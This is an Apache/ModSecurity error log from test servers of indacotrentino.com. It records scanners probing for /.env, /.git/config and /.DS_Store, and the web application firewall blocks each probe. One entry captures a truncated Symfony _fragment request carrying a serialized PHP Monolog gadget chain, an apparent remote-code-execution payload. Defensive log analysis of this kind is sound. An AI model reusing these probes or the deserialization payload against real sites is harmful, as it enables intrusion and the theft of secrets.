[Sat Nov 29 08:27:08.422113 2025] [:error] [pid 398278] [client 204.76.203.25:38486] [client 204.76.203.25] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSqgTA31ShYAI8brU4C49gAAAAA"]
[Sat Nov 29 08:27:08.422455 2025] [:error] [pid 398278] [client 204.76.203.25:38486] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSqgTA31ShYAI8brU4C49gAAAAA"]
[Sat Nov 29 08:27:08.422626 2025] [:error] [pid 398278] [client 204.76.203.25:38486] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSqgTA31ShYAI8brU4C49gAAAAA"]
[Sat Nov 29 18:46:12.226594 2025] [:error] [pid 406835] [client 23.162.200.48:56854] [client 23.162.200.48] ModSecurity: Warning. Found 30 byte(s) in ARGS:_path outside range: 1-255. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "482"] [id "920270"] [msg "Invalid character in request (null character)"] [data "ARGS:_path=_controller=Symfony\\x5cComponent\\x5cYaml\\x5cInline::parse&value=!!php/object:a:1:{i:1;a:2:{i:0;O:32:\\x22Monolog\\x5cHandler\\x5cSyslogUdpHandler\\x22:1:{s:9:\\x22\\x00*\\x00socket\\x22;O:29:\\x22Monolog\\x5cHandler\\x5cBufferHandler\\x22:7:{s:10:\\x22\\x00*\\x00handler\\x22;O:29:\\x22Monolog\\x5cHandler\\x5cBufferHandler\\x22:7:{s:10:\\x22\\x00*\\x00handler\\x22;N;s:13:\\x22\\x00*\\x00bufferSize\\x22;i:-1;s:9:\\x22\\x00*\\x00buffer\\x22;a:1:{i:0;a:2:{i:0;s:2:\\x22-1\\x22;s:5:\\x22level\\x22;N;}}s:8:\\x22\\x00*\\x00level\\x22;N;s:14..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/EVASION"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_fragment"] [unique_id "aSsxZJky3__3WWLXZ9WbiAAAAAQ"]
[Sun Nov 30 04:17:39.687202 2025] [:error] [pid 420351] [client 34.68.254.99:48768] [client 34.68.254.99] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSu3U-4YmrDb6sVqZeFT-gAAAAc"]
[Sun Nov 30 04:17:39.687535 2025] [:error] [pid 420351] [client 34.68.254.99:48768] [client 34.68.254.99] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSu3U-4YmrDb6sVqZeFT-gAAAAc"]
[Sun Nov 30 04:17:39.687754 2025] [:error] [pid 420351] [client 34.68.254.99:48768] [client 34.68.254.99] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSu3U-4YmrDb6sVqZeFT-gAAAAc"]
[Sun Nov 30 08:07:44.371671 2025] [authz_core:error] [pid 420133] [client 146.190.63.248:34048] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Sun Nov 30 08:07:45.882801 2025] [:error] [pid 421120] [client 146.190.63.248:59878] [client 146.190.63.248] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aSvtQV1RgwzjQxTFQvL8TAAAAAg"]
[Sun Nov 30 08:07:45.883054 2025] [:error] [pid 421120] [client 146.190.63.248:59878] [client 146.190.63.248] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aSvtQV1RgwzjQxTFQvL8TAAAAAg"]
[Sun Nov 30 08:07:45.883230 2025] [:error] [pid 421120] [client 146.190.63.248:59878] [client 146.190.63.248] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aSvtQV1RgwzjQxTFQvL8TAAAAAg"]
[Sun Nov 30 08:07:46.387395 2025] [:error] [pid 420464] [client 146.190.63.248:59892] [client 146.190.63.248] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSvtQkcZD8PDK2e2JM-tawAAAA4"]
[Sun Nov 30 08:07:46.387643 2025] [:error] [pid 420464] [client 146.190.63.248:59892] [client 146.190.63.248] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSvtQkcZD8PDK2e2JM-tawAAAA4"]
[Sun Nov 30 08:07:46.387837 2025] [:error] [pid 420464] [client 146.190.63.248:59892] [client 146.190.63.248] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSvtQkcZD8PDK2e2JM-tawAAAA4"]
[Sun Nov 30 08:07:46.891163 2025] [:error] [pid 420135] [client 146.190.63.248:59894] [client 146.190.63.248] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSvtQrzC2G0Eflpzmc0RUAAAAAM"]
[Sun Nov 30 08:07:46.891421 2025] [:error] [pid 420135] [client 146.190.63.248:59894] [client 146.190.63.248] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSvtQrzC2G0Eflpzmc0RUAAAAAM"]
[Sun Nov 30 08:07:46.891595 2025] [:error] [pid 420135] [client 146.190.63.248:59894] [client 146.190.63.248] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSvtQrzC2G0Eflpzmc0RUAAAAAM"]
[Sun Nov 30 08:31:35.973967 2025] [authz_core:error] [pid 421120] [client 165.227.84.14:34006] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Sun Nov 30 08:31:36.848653 2025] [:error] [pid 420349] [client 165.227.84.14:34030] [client 165.227.84.14] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aSvy2ECvgKj4T6lHnsBGdwAAAAU"]
[Sun Nov 30 08:31:36.848907 2025] [:error] [pid 420349] [client 165.227.84.14:34030] [client 165.227.84.14] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aSvy2ECvgKj4T6lHnsBGdwAAAAU"]
[Sun Nov 30 08:31:36.849075 2025] [:error] [pid 420349] [client 165.227.84.14:34030] [client 165.227.84.14] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aSvy2ECvgKj4T6lHnsBGdwAAAAU"]
[Sun Nov 30 08:31:37.136465 2025] [:error] [pid 420351] [client 165.227.84.14:34044] [client 165.227.84.14] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSvy2e4YmrDb6sVqZeFUKQAAAAc"]
[Sun Nov 30 08:31:37.136743 2025] [:error] [pid 420351] [client 165.227.84.14:34044] [client 165.227.84.14] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSvy2e4YmrDb6sVqZeFUKQAAAAc"]
[Sun Nov 30 08:31:37.136910 2025] [:error] [pid 420351] [client 165.227.84.14:34044] [client 165.227.84.14] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSvy2e4YmrDb6sVqZeFUKQAAAAc"]
[Sun Nov 30 08:31:37.427297 2025] [:error] [pid 421122] [client 165.227.84.14:34046] [client 165.227.84.14] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSvy2S6tRBnriPIR7Vg5EAAAAAw"]
[Sun Nov 30 08:31:37.427553 2025] [:error] [pid 421122] [client 165.227.84.14:34046] [client 165.227.84.14] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSvy2S6tRBnriPIR7Vg5EAAAAAw"]
[Sun Nov 30 08:31:37.427726 2025] [:error] [pid 421122] [client 165.227.84.14:34046] [client 165.227.84.14] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSvy2S6tRBnriPIR7Vg5EAAAAAw"]
[Sun Nov 30 16:29:03.678610 2025] [:error] [pid 421120] [client 35.222.252.124:58818] [client 35.222.252.124] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSxiv11RgwzjQxTFQvL87QAAAAg"]
[Sun Nov 30 16:29:03.678869 2025] [:error] [pid 421120] [client 35.222.252.124:58818] [client 35.222.252.124] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSxiv11RgwzjQxTFQvL87QAAAAg"]
[Sun Nov 30 16:29:03.679049 2025] [:error] [pid 421120] [client 35.222.252.124:58818] [client 35.222.252.124] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSxiv11RgwzjQxTFQvL87QAAAAg"]
[Mon Dec 01 21:31:54.590579 2025] [:error] [pid 441950] [client 35.223.54.147:43552] [client 35.223.54.147] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aS37OpKQGCdmZajO72J8OQAAAAA"]
[Mon Dec 01 21:31:54.590833 2025] [:error] [pid 441950] [client 35.223.54.147:43552] [client 35.223.54.147] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aS37OpKQGCdmZajO72J8OQAAAAA"]
[Mon Dec 01 21:31:54.591024 2025] [:error] [pid 441950] [client 35.223.54.147:43552] [client 35.223.54.147] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aS37OpKQGCdmZajO72J8OQAAAAA"]
[Tue Dec 02 09:01:10.587660 2025] [authz_core:error] [pid 468147] [client 167.71.175.236:56166] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Tue Dec 02 09:01:13.570206 2025] [:error] [pid 464252] [client 167.71.175.236:56186] [client 167.71.175.236] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aS6cyU1KF2qWt_mCVnZsYwAAAAM"]
[Tue Dec 02 09:01:13.570492 2025] [:error] [pid 464252] [client 167.71.175.236:56186] [client 167.71.175.236] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aS6cyU1KF2qWt_mCVnZsYwAAAAM"]
[Tue Dec 02 09:01:13.570680 2025] [:error] [pid 464252] [client 167.71.175.236:56186] [client 167.71.175.236] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aS6cyU1KF2qWt_mCVnZsYwAAAAM"]
[Tue Dec 02 09:01:14.624283 2025] [:error] [pid 464910] [client 167.71.175.236:56196] [client 167.71.175.236] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aS6cygmN2tdAmSYzW_OD9gAAAA0"]
[Tue Dec 02 09:01:14.624517 2025] [:error] [pid 464910] [client 167.71.175.236:56196] [client 167.71.175.236] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aS6cygmN2tdAmSYzW_OD9gAAAA0"]
[Tue Dec 02 09:01:14.624682 2025] [:error] [pid 464910] [client 167.71.175.236:56196] [client 167.71.175.236] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aS6cygmN2tdAmSYzW_OD9gAAAA0"]
[Tue Dec 02 09:01:16.577654 2025] [:error] [pid 464904] [client 167.71.175.236:56198] [client 167.71.175.236] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aS6czP1sLLIs2FP7Ov7ObgAAAAc"]
